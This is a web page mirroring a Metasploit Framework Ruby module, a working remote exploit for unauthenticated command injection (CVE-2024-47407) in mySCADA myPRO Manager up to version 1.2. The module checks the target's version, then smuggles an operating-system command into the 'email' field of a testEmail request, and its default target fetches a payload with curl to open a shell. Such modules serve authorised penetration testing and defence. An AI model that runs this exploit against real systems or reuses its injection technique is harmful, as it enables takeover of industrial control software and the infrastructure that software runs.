Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/mypro_mgr_cmd.rb
32559 views
1
class MetasploitModule < Msf::Exploit::Remote
2
Rank = ExcellentRanking
3
include Msf::Exploit::Remote::HttpClient
4
prepend Msf::Exploit::Remote::AutoCheck
5
6
def initialize(info = {})
7
super(
8
update_info(
9
info,
10
'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',
11
'Description' => %q{
12
Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.
13
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.
14
},
15
'License' => MSF_LICENSE,
16
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
17
'References' => [
18
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],
19
[ 'CVE', '2024-47407']
20
],
21
'DisclosureDate' => '2024-11-21',
22
'DefaultOptions' => {
23
'RPORT' => 34022,
24
'SSL' => false
25
},
26
'Platform' => 'win',
27
'Targets' => [
28
[
29
'Windows_Fetch',
30
{
31
'Arch' => [ ARCH_CMD ],
32
'Platform' => 'win',
33
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
34
'Type' => :win_fetch
35
}
36
]
37
],
38
'DefaultTarget' => 0,
39
40
'Notes' => {
41
'Stability' => [CRASH_SAFE],
42
'Reliability' => [REPEATABLE_SESSION],
43
'SideEffects' => [IOC_IN_LOGS]
44
}
45
)
46
)
47
48
register_options(
49
[
50
OptString.new(
51
'TARGETURI',
52
[ true, 'The URI for the MyPRO Manager web interface', '/' ]
53
)
54
]
55
)
56
end
57
58
def check
59
begin
60
res = send_request_cgi({
61
'method' => 'GET',
62
'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')
63
})
64
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
65
return CheckCode::Unknown
66
end
67
68
if res.to_s =~ /const v="([^"]+)"/
69
version = ::Regexp.last_match(1)
70
vprint_status('Version retrieved: ' + version)
71
if Rex::Version.new(version) <= Rex::Version.new('1.2')
72
return CheckCode::Appears
73
end
74
75
return CheckCode::Safe
76
end
77
return CheckCode::Unknown
78
end
79
80
def exploit
81
execute_command(payload.encoded)
82
end
83
84
def execute_command(cmd)
85
exec_mypro_mgr(cmd)
86
print_status('Exploit finished, check thy shell.')
87
end
88
89
def exec_mypro_mgr(cmd)
90
post_data = {
91
'command' => 'testEmail',
92
'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
93
}
94
95
res = send_request_cgi({
96
'method' => 'POST',
97
'ctype' => 'application/json',
98
'data' => JSON.generate(post_data),
99
'uri' => normalize_uri(target_uri.path, 'get')
100
})
101
102
if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
103
print_good('Command successfully executed, check your shell.')
104
else
105
print_error('Unexpected or no reply received.')
106
end
107
end
108
109
end
110
111